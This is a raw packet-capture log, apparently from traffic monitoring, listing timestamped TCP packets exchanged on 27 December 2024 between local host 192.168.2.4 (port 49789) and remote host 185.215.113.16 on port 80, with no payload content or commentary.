Dec 27, 2024 09:01:14.821496964 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.822195053 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.822256088 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.822290897 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.822356939 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.823111057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.823124886 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.823179007 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.823976040 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.824045897 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.824047089 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.824107885 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.824836969 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.824945927 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.824975014 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.825006008 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.825711966 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.825807095 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.825851917 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.825851917 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.826579094 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.826678038 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.826729059 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.826809883 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.827478886 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.827541113 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.827569962 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.827644110 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.828336000 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.828421116 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.828493118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.828572989 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.829211950 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.829313040 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.829334021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.829390049 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.830094099 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.830157995 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.830161095 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.830240011 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.830984116 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.831060886 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.831094027 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.831156969 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.831864119 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.831938028 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.831945896 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.831995964 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.832735062 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.832804918 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.832833052 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.832926989 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.833655119 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.833717108 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.833719969 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.833769083 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.834506989 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.834574938 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.834595919 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.834651947 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.835361958 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.835411072 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.835479975 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.835551977 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.836252928 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.836309910 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.836390018 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.836468935 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.837121964 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.837184906 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.837243080 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.837301970 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.837996006 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.838061094 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.838102102 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.838150978 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.838888884 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.838943958 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.838989973 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.839051008 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.839747906 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.839848995 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.839865923 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.839967966 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.840697050 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.840755939 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.840823889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.840910912 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.841583014 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.841689110 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.841728926 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.841831923 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.842439890 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.842498064 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.842534065 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.842586040 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.843310118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.843379021 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.843396902 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.843482971 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.844187975 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.844299078 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.844316959 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.844369888 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.845046043 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.845124960 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.845130920 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.845211029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.845928907 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.845994949 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.846084118 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.846136093 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.846838951 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.846896887 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.846946955 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.847069025 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.847676992 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.847745895 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.847779989 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.847829103 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.848560095 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.848614931 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.848689079 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.848781109 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.849461079 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.849539042 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.849550962 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.849622965 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.850313902 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.850400925 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.850466013 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.850526094 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.851202011 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.851253986 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.851288080 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.851329088 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.852111101 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.852173090 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.852190018 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.852233887 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.852933884 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.852986097 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.853054047 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.853111029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.853811979 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.853867054 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.853939056 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.853985071 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.854741096 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.854811907 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.854830027 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.854892015 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.855590105 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.855639935 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.855655909 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.855709076 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.856463909 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.856518984 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.856555939 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.856601000 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.857327938 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.857388973 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.857426882 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.857471943 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.858244896 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.858304024 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.858341932 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.858396053 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.859108925 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.859158039 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.859215021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.859302998 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.859961987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.860013962 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.860079050 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.860146046 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.860852957 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.860929012 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.860974073 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.861036062 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.861700058 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.861768007 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.861825943 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.861867905 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.862668037 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.862709999 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.862747908 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.862747908 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.863491058 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.863574982 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.863604069 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.863686085 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.864346981 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.864399910 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.864478111 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.864531994 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.865215063 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.865267038 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.865329027 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.865413904 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.866113901 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.866199970 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.866238117 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.866312027 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.866974115 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.867033958 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.867074966 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.867129087 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.867878914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.867947102 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.868005991 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.868046999 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.868777037 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.868832111 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.868870974 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.868932962 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.869596958 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.869647980 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.869678974 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.869729042 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.870532036 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.870681047 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.870697975 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.870771885 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.871376991 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.871438980 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.871519089 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.871567965 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.872307062 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.872379065 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.872380018 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.872423887 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.873145103 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.873197079 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.873291016 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.873356104 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.874078035 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.874140978 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.874146938 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.874197960 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.874876976 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.874938011 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.875014067 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.875065088 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.875790119 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.875838041 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.875901937 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.875982046 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.876652002 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.876741886 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.876758099 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.876807928 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.877500057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.877553940 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.877696037 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.877748966 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.878407955 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.878515005 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.878652096 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.878717899 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.879256010 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.879338026 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.879374981 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.879430056 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.880146027 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.880235910 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.880268097 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.880317926 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.881041050 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.881099939 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.881165028 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.881237030 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.881895065 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.881957054 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.882016897 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.882128954 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.882783890 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.882846117 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.882921934 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.882967949 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.883677006 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.883702993 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.883738995 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.883759022 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.884516001 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.884603024 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.884634018 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.884653091 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.885400057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.885462999 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.885502100 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.885550022 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.886291981 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.886379957 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.886383057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.886429071 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.887130022 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.887176991 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.887212992 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.887295961 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.888026953 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.888098955 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.888125896 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.888176918 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.888911963 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.888972044 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.889003992 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.889080048 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.889738083 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.889787912 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.889862061 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.889914036 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.890578032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.890626907 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.992912054 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.992959023 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.993211031 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.993236065 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.993278980 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.993314028 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.993335962 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.993870020 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.993959904 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.993979931 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.994050980 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.994671106 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.994785070 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.994807005 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.994934082 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.995460033 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.995569944 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.995574951 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.995636940 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.996256113 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.996387005 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.996418953 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.996485949 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.997013092 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.997133970 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.997149944 CET	49789	80	192.168.2.4	185.215.113.16
